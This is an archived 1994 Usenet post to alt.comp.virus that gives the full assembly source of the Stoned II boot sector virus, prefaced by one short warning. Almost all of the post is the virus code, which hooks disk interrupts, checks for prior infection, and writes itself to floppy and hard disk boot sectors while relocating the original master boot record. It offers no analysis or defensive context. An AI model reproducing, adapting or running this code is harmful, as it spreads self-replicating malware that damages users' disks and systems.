home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / S.ZIP / STONEDII.ZIP / STONEDII.ASM
Assembly Source File  |  1994-12-31  |  5KB  |  197 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!newsxfer.itd.umich.edu!nntp.cs.ubc.ca!unixg.ubc.ca!tomaino Sat Dec 31 02:21:41 1994
  2. Xref: netcom.com alt.comp.virus:812
  3. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!newsxfer.itd.umich.edu!nntp.cs.ubc.ca!unixg.ubc.ca!tomaino
  4. From: tomaino@unixg.ubc.ca (Michael Tomaino)
  5. Newsgroups: alt.comp.virus
  6. Subject: Stoned II Source - Asm
  7. Date: 31 Dec 1994 05:41:45 GMT
  8. Organization: University of British Columbia, Vancouver, B.C., Canada
  9. Lines: 182
  10. Message-ID: <3e2qup$rdm@nnrp.ucs.ubc.ca>
  11. NNTP-Posting-Host: interchg.ubc.ca
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14.   This is the ancient classic: Stoned II. It's a boot sector infector, so 
  15. watch out.
  16.  
  17. ---Begin-Cutting-Here-----------------------------------------------
  18.   
  19. PAGE  60,132
  20.   
  21. ;██████████████████████████████████████████████████████████████████████████
  22. ;██                                         ██
  23. ;██                    STONED2                         ██
  24. ;██                                         ██
  25. ;██      Created:   1-Jan-80                             ██
  26. ;██                                         ██
  27. ;██████████████████████████████████████████████████████████████████████████
  28.   
  29. DATA_1E        EQU    8                ; (694B:0008=0)
  30. DATA_2E        EQU    9                ; (694B:0009=0)
  31. DATA_3E        EQU    11H                ; (694B:0011=0)
  32.   
  33. CODE_SEG_A    SEGMENT
  34.         ASSUME    CS:CODE_SEG_A, DS:CODE_SEG_A
  35.   
  36.   
  37.         ORG    100h
  38.   
  39. stoned2        PROC    FAR
  40.   
  41. start:
  42.         DB    31488 DUP (0)
  43.         DB    0EAH, 5, 0, 0C0H, 7, 0E9H
  44.         DB    99H, 0, 0, 11H, 99H, 0
  45.         DB    0F0H, 0E4H, 0, 80H, 9FH, 0
  46.         DB    7CH, 0, 0, 1EH, 50H, 80H
  47.         DB    0FCH, 2, 72H, 17H, 80H, 0FCH
  48.         DB    4, 73H, 12H, 0AH, 0D2H, 75H
  49.         DB    0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H
  50.         DB    3FH, 4, 0A8H, 1, 75H, 3
  51.         DB    0E8H, 7, 0, 58H, 1FH, 2EH
  52.         DB    0FFH, 2EH, 9, 0, 53H, 51H
  53.         DB    52H, 6, 56H, 57H, 0BEH, 4
  54.         DB    0
  55. LOC_1:
  56.         MOV    AX,201H
  57.         PUSH    CS
  58.         POP    ES
  59.         MOV    BX,200H
  60.         XOR    CX,CX                ; Zero register
  61.         MOV    DX,CX
  62.         INC    CX
  63.         PUSHF                    ; Push flags
  64.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  65.         JNC    LOC_2                ; Jump if carry=0
  66.         XOR    AX,AX                ; Zero register
  67.         PUSHF                    ; Push flags
  68.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  69.         DEC    SI
  70.         JNZ    LOC_1                ; Jump if not zero
  71.         JMP    SHORT LOC_4
  72.         DB    90H
  73. LOC_2:
  74.         XOR    SI,SI                ; Zero register
  75.         MOV    DI,200H
  76.         CLD                    ; Clear direction
  77.         PUSH    CS
  78.         POP    DS
  79.         LODSW                    ; String [si] to ax
  80.         CMP    AX,[DI]
  81.         JNE    LOC_3                ; Jump if not equal
  82.         LODSW                    ; String [si] to ax
  83.         CMP    AX,[DI+2]
  84.         JE    LOC_4                ; Jump if equal
  85. LOC_3:
  86.         MOV    AX,301H
  87.         MOV    BX,200H
  88.         MOV    CL,3
  89.         MOV    DH,1
  90.         PUSHF                    ; Push flags
  91.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  92.         JC    LOC_4                ; Jump if carry Set
  93.         MOV    AX,301H
  94.         XOR    BX,BX                ; Zero register
  95.         MOV    CL,1
  96.         XOR    DX,DX                ; Zero register
  97.         PUSHF                    ; Push flags
  98.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  99. LOC_4:
  100.         POP    DI
  101.         POP    SI
  102.         POP    ES
  103.         POP    DX
  104.         POP    CX
  105.         POP    BX
  106.         RET
  107.         DB    33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH
  108.         DB    0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H
  109.         DB    4CH, 0, 0A3H, 9, 7CH, 0A1H
  110.         DB    4EH, 0, 0A3H, 0BH, 7CH, 0A1H
  111.         DB    13H, 4, 48H, 48H, 0A3H, 13H
  112.         DB    4, 0B1H, 6, 0D3H, 0E0H, 8EH
  113.         DB    0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H
  114.         DB    0, 0A3H, 4CH, 0, 8CH, 6
  115.         DB    4EH, 0, 0B9H, 0B8H, 1, 0EH
  116.         DB    1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH
  117.         DB    0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH
  118.         DB    0, 0B8H, 0, 0, 0CDH, 13H
  119.         DB    33H, 0C0H, 8EH, 0C0H, 0B8H, 1
  120.         DB    2, 0BBH, 0, 7CH, 2EH, 80H
  121.         DB    3EH, 8, 0, 0, 74H, 0BH
  122.         DB    0B9H, 7, 0, 0BAH, 80H, 0
  123.         DB    0CDH, 13H, 0EBH, 49H, 90H, 0B9H
  124.         DB    3, 0, 0BAH, 0, 1, 0CDH
  125.         DB    13H, 72H, 3EH, 26H, 0F6H, 6
  126.         DB    6CH, 4, 7, 75H, 12H, 0BEH
  127.         DB    89H, 1, 0EH, 1FH
  128. LOC_5:
  129.         LODSB                    ; String [si] to al
  130.         OR    AL,AL                ; Zero ?
  131.         JZ    LOC_6                ; Jump if zero
  132.         MOV    AH,0EH
  133.         MOV    BH,0
  134.         INT    10H                ; Video display   ah=functn 0Eh
  135.                             ;  write char al, teletype mode
  136.         JMP    SHORT LOC_5
  137. LOC_6:
  138.         PUSH    CS
  139.         POP    ES
  140.         MOV    AX,201H
  141.         MOV    BX,200H
  142.         MOV    CL,1
  143.         MOV    DX,80H
  144.         INT    13H                ; Disk  dl=drive a: ah=func 02h
  145.                             ;  read sectors to memory es:bx
  146.         JC    LOC_7                ; Jump if carry Set
  147.         PUSH    CS
  148.         POP    DS
  149.         MOV    SI,200H
  150.         MOV    DI,0
  151.         LODSW                    ; String [si] to ax
  152.         CMP    AX,[DI]
  153.         JNE    LOC_8                ; Jump if not equal
  154.         LODSW                    ; String [si] to ax
  155.         CMP    AX,[DI+2]
  156.         JNE    LOC_8                ; Jump if not equal
  157. LOC_7:
  158.         MOV    BYTE PTR CS:DATA_1E,0        ; (694B:0008=0)
  159.         JMP    DWORD PTR CS:DATA_3E        ; (694B:0011=0)
  160. LOC_8:
  161.         MOV    BYTE PTR CS:DATA_1E,2        ; (694B:0008=0)
  162.         MOV    AX,301H
  163.         MOV    BX,200H
  164.         MOV    CX,7
  165.         MOV    DX,80H
  166.         INT    13H                ; Disk  dl=drive a: ah=func 03h
  167.                             ;  write sectors from mem es:bx
  168.         JC    LOC_7                ; Jump if carry Set
  169.         PUSH    CS
  170.         POP    DS
  171.         PUSH    CS
  172.         POP    ES
  173.         MOV    SI,3BEH
  174.         MOV    DI,1BEH
  175.         MOV    CX,242H
  176.         REP    MOVSB                ; Rep while cx>0 Mov [si] to es:[di]
  177.         MOV    AX,301H
  178.         XOR    BX,BX                ; Zero register
  179.         INC    CL
  180.         INT    13H                ; Disk  dl=drive a: ah=func 03h
  181.                             ;  write sectors from mem es:bx
  182.         JMP    SHORT LOC_7
  183.         DB    7
  184.         DB    35 DUP (0)
  185.         DB    67H, 2, 6, 67H, 2, 67H
  186.         DB    2, 0BH, 3, 67H, 2
  187.   
  188. stoned2        ENDP
  189.   
  190. CODE_SEG_A    ENDS
  191.   
  192.   
  193.   
  194.         END    START
  195.  
  196.  
  197.